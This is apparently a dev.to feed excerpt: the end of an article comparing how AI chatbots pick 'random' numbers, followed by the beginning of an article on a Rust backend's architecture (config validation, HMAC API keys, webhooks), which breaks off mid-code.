&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8gk1ivow7r9j63ysl4ac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8gk1ivow7r9j63ysl4ac.png" alt="Screenshot of DeepSeek AI constructing a Linear Congruential Generator algorithm to computationally avoid bias, resulting in 46" width="800" height="497"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;b&gt;[++] Deep Dive: GLM-5.1 Full Thought Process (3 Images)&lt;/b&gt;&lt;br&gt;
  &lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpr2q6jsdneddyht1ul5h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpr2q6jsdneddyht1ul5h.png" alt="Screenshot 1 of GLM-5.1 thought process analyzing human biases such as end-aversion and prime preference" width="800" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3uvpsn1qgyhvrqrp4d8j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3uvpsn1qgyhvrqrp4d8j.png" alt="Screenshot 2 of GLM-5.1 thought process struggling to select a number, actively avoiding 42 and 73 due to cultural significance" width="800" height="588"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw3h2224yv6csdlh9s51x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw3h2224yv6csdlh9s51x.png" alt="Screenshot 3 of GLM-5.1 thought process concluding on the number 82 after ruling out 84 due to its association with George Orwell" width="800" height="576"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  Final Results
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Round 1&lt;/th&gt;
&lt;th&gt;Round 2 (Dev)&lt;/th&gt;
&lt;th&gt;Round 3 (Anti-bias)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;em&gt;(avoided 37/73)&lt;/em&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;41&lt;/strong&gt; (Python RNG)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copilot&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;58&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;46&lt;/strong&gt; (LCG math)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.1&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;82&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;82&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What This Actually Means
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. LLMs have no randomness mechanism
&lt;/h3&gt;

&lt;p&gt;When an LLM "picks a number," it's running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;argmax&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;P&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It picks the &lt;strong&gt;most probable next token&lt;/strong&gt; given everything before it. There is no dice roll. No &lt;code&gt;/dev/urandom&lt;/code&gt;. No entropy source. Just probability distributions trained on human-generated text.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Context is a probability modifier, not a reset
&lt;/h3&gt;

&lt;p&gt;Adding "backend developer" context didn't clear the bias — it &lt;strong&gt;shifted the probability mass&lt;/strong&gt; toward different biased numbers (47, 64, 82 instead of 42, 73). You traded one cultural bias for another (developer culture vs. general internet culture).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The thought process is the tell
&lt;/h3&gt;

&lt;p&gt;The models with visible reasoning (GLM, DeepSeek) showed that "picking a random number" activates a long chain of cultural associations before a number is selected. They're not computing — they're &lt;em&gt;recalling what humans tend to say in this situation&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Only one model used actual computation
&lt;/h3&gt;

&lt;p&gt;Grok and Perplexity (in a separate test) routed to Python's &lt;code&gt;random&lt;/code&gt; module — the only architecturally honest response. Every other model simulated randomness using token prediction.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real OSINT Insight
&lt;/h2&gt;

&lt;p&gt;Here's the takeaway that matters:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;You can profile an LLM's training data distribution by asking it for "random" numbers in different contexts.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;"Random number" → tells you its default cultural bias (42 vs 73 = developer vs mainstream)&lt;/li&gt;
&lt;li&gt;"Random number for crypto key" → tells you its security/backend training exposure
&lt;/li&gt;
&lt;li&gt;"Random number, avoid bias" → tells you how deeply the bias is encoded (surface vs weight-level)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's not a party trick. It's a &lt;strong&gt;probing technique&lt;/strong&gt; — the same way you'd use DNS enumeration to map an attack surface. Except you're mapping a model's training distribution.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Practical Takeaway
&lt;/h2&gt;

&lt;p&gt;If you're building anything that needs actual randomness:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is what your app should use&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;realRandom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// This is what happens when you ask an AI&lt;/span&gt;
&lt;span class="c1"&gt;// P("73" | "random number 1-100") &amp;gt; P("74" | ...)&lt;/span&gt;
&lt;span class="c1"&gt;// argmax wins. Always.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Never use an LLM as an entropy source.&lt;/strong&gt; Not because it's "bad at math" — because it was trained on human text, and humans are systematically non-random. The model is doing its job perfectly. The job is just wrong for this use case.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;What started as a Facebook meme — "lol why does AI always say 73" — is actually a window into how language models work at a fundamental level.&lt;/p&gt;

&lt;p&gt;They don't pick numbers. They predict what a human would say if asked to pick a number. And humans, it turns out, are deeply, consistently, measurably biased toward the same handful of numbers.&lt;/p&gt;

&lt;p&gt;The models are mirrors. They reflect the patterns in the data they consumed. When you ask for randomness and get 42 or 73, you're not seeing a limitation — you're seeing the training data speaking.&lt;/p&gt;

&lt;p&gt;And if you know how to listen, it tells you a lot.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built with: curiosity, too many browser tabs, and zero &lt;code&gt;/dev/urandom&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;— FreeRave | DotSuite ecosystem&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>opensource</category>
      <category>programming</category>
    </item>
    <item>
      <title>I Built a Private Rust Backend to Power 18 Developer Tools — Here's the Architecture</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Sat, 09 May 2026 13:14:47 +0000</pubDate>
      <link>https://dev.to/freerave/i-built-a-private-rust-backend-to-power-18-developer-tools-heres-the-architecture-4lmc</link>
      <guid>https://dev.to/freerave/i-built-a-private-rust-backend-to-power-18-developer-tools-heres-the-architecture-4lmc</guid>
      <description>&lt;h2&gt;
  
  
  A deep dive into building a production-grade Rust API server with multi-tier scheduling, HMAC auth, Lemon Squeezy webhooks, and 9 platform adapters — the engine behind DotSuite.
&lt;/h2&gt;

&lt;p&gt;Most of my tools in the DotSuite ecosystem — VS Code extensions, CLI tools, Telegram bots — were islands.&lt;/p&gt;

&lt;p&gt;Each one doing its own thing. No shared auth. No shared billing. No shared scheduling.&lt;/p&gt;

&lt;p&gt;That changed when I started building &lt;strong&gt;DotShare v3&lt;/strong&gt;, a VS Code extension that publishes code snippets to 9 platforms simultaneously. The moment I needed scheduling, quotas, and payments, one thing became clear: &lt;strong&gt;I need a real backend.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This article is about &lt;strong&gt;dotsuite-core&lt;/strong&gt; — a private Rust server that is the beating heart of the DotSuite ecosystem. I won't open source it, but I'll walk you through the architecture, the decisions, and enough real code that you can build your own version.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Rust?
&lt;/h2&gt;

&lt;p&gt;Not because it's trendy. Three very specific requirements drove the choice:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Exact-second scheduling.&lt;/strong&gt;&lt;br&gt;
The Max tier dispatches posts with millisecond precision. Node.js event loop jitter makes this unreliable. Tokio tasks with &lt;code&gt;sleep(exact_ms)&lt;/code&gt; are deterministic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Atomic quota enforcement.&lt;/strong&gt;&lt;br&gt;
Users can fire 5 concurrent requests at the same millisecond. A race condition means they publish more posts than their quota allows. Rust + MongoDB's atomic &lt;code&gt;findOneAndUpdate&lt;/code&gt; solves this at the DB level — no mutex needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Long-running process.&lt;/strong&gt;&lt;br&gt;
Vercel serverless functions timeout after 10–60 seconds. My scheduler needs to run forever, with auto-restart on crash.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Architecture
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────┐      Bearer ds_prod_xxx
│  DotShare VS Code Ext   │ ─────────────────────────────────┐
└─────────────────────────┘                                  │
                                                             ▼
┌─────────────────────────┐   X-Internal-Secret   ┌─────────────────────┐
│  dotsuite-website       │ ─────────────────────▶ │   dotsuite-core     │
│  (Next.js on Vercel)    │                        │   (Rust on VPS)     │
└─────────────────────────┘                        └────────┬────────────┘
                                                            │
                                              ┌─────────────┴──────────┐
                                              │      MongoDB Atlas      │
                                              └────────────────────────┘
                                                            │
                                              Lemon Squeezy webhooks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Three clients talk to one server:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;VS Code extension&lt;/strong&gt; → API keys (&lt;code&gt;ds_prod_xxx&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Next.js website&lt;/strong&gt; → internal shared secret (server-to-server)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lemon Squeezy&lt;/strong&gt; → HMAC-signed webhooks&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  The Stack
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cargo.toml&lt;/span&gt;
&lt;span class="py"&gt;axum&lt;/span&gt;              &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.7"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"macros"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"ws"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="py"&gt;tokio&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"full"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="py"&gt;mongodb&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"tokio-runtime"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="py"&gt;tower_governor&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"axum"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="py"&gt;serde&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"derive"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="py"&gt;jsonwebtoken&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"9"&lt;/span&gt;
&lt;span class="py"&gt;hmac&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.12"&lt;/span&gt;
&lt;span class="py"&gt;sha2&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.10"&lt;/span&gt;
&lt;span class="py"&gt;constant_time_eq&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.3"&lt;/span&gt;
&lt;span class="py"&gt;tokio-cron-scheduler&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.10"&lt;/span&gt;
&lt;span class="py"&gt;reqwest&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="py"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.12"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;features&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"rustls-tls"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"multipart"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="py"&gt;argon2&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.5"&lt;/span&gt;
&lt;span class="py"&gt;futures-util&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0.3"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;No unnecessary dependencies. Every crate earns its place.&lt;/p&gt;


&lt;h2&gt;
  
  
  File Structure
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dotsuite-core/
├── Cargo.toml
├── .env.example
└── src/
    ├── main.rs              ← entry point, graceful shutdown
    ├── config.rs            ← typed env vars, validated at startup
    ├── state.rs             ← AppState shared across handlers
    ├── db.rs                ← MongoDB pool + indexes
    ├── errors.rs            ← AppError → HTTP responses
    ├── scheduler.rs         ← 4-tier cron + Look-Ahead + recovery
    │
    ├── auth/
    │   ├── mod.rs
    │   └── tokens.rs        ← HMAC API key generation (OsRng)
    │
    ├── middleware/
    │   ├── mod.rs
    │   ├── auth.rs          ← API key validation + blacklist check
    │   └── internal.rs      ← server-to-server secret validation
    │
    ├── models/
    │   ├── mod.rs
    │   └── user.rs          ← User, Tier, ApiKey, ScheduledPost, AuditLog
    │
    ├── payments/
    │   ├── mod.rs
    │   ├── signature.rs     ← HMAC-SHA256 webhook verification
    │   ├── webhook.rs       ← Lemon Squeezy event dispatcher
    │   ├── handlers.rs      ← subscription_created/cancelled/expired
    │   └── checkout.rs      ← checkout URL + customer portal
    │
    ├── platforms/
    │   ├── mod.rs           ← PlatformAdapter trait + concurrent dispatcher
    │   ├── x.rs             ← X (Twitter) — tweets, threads, 4 images
    │   ├── bluesky.rs       ← Bluesky — facets, blob upload, JIT compression
    │   ├── linkedin.rs      ← LinkedIn — 2-step media upload
    │   ├── telegram.rs      ← Telegram — text/photo/video/mediaGroup
    │   ├── facebook.rs      ← Facebook — Graph API v19
    │   ├── discord.rs       ← Discord — webhooks + embeds
    │   ├── reddit.rs        ← Reddit — r/ and u/ support
    │   ├── devto.rs         ← Dev.to — articles + cover image
    │   └── medium.rs        ← Medium — draft/publish/unlisted
    │
    └── routes/
        ├── mod.rs           ← router assembly
        ├── health.rs        ← /health + /ready
        ├── posts.rs         ← schedule + list + cancel
        ├── keys.rs          ← generate + list + revoke
        ├── billing.rs       ← checkout + portal + status
        ├── admin.rs         ← ban + unban + reset-quota
        └── internal.rs      ← Next.js → Rust server-to-server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Part 1 — The Core Engine
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Typed Config: Fail Fast, Not at Runtime
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/config.rs&lt;/span&gt;
&lt;span class="nd"&gt;#[derive(Debug,&lt;/span&gt; &lt;span class="nd"&gt;Clone)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;mongodb_uri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;api_token_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// min 32 chars enforced at startup&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;jwt_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;internal_api_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Next.js ↔ Rust shared secret&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;lemon_webhook_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;lemon_api_key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;ls_variants&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;LemonVariants&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;from_env&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;api_token_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;required_min_len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"API_TOKEN_SECRET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="c1"&gt;// If the secret is weak, the server refuses to start.&lt;/span&gt;
            &lt;span class="c1"&gt;// Better to crash at boot than silently accept weak keys.&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If the secret is weak, the server refuses to start. A misconfigured env var that crashes on boot is far better than one that silently accepts fake webhooks in production.&lt;/p&gt;


&lt;h3&gt;
  
  
  HMAC API Keys — The Right Way
&lt;/h3&gt;

&lt;p&gt;Generated once, hashed in the DB, never stored in plaintext:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/auth/tokens.rs&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;::{&lt;/span&gt;&lt;span class="n"&gt;Hmac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Mac&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;rngs&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;OsRng&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// OsRng, NOT thread_rng — cryptographic quality&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;sha2&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Sha256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;PREFIX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"ds_prod_"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;RAW_BYTES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;usize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 24 bytes → 48 hex chars&lt;/span&gt;

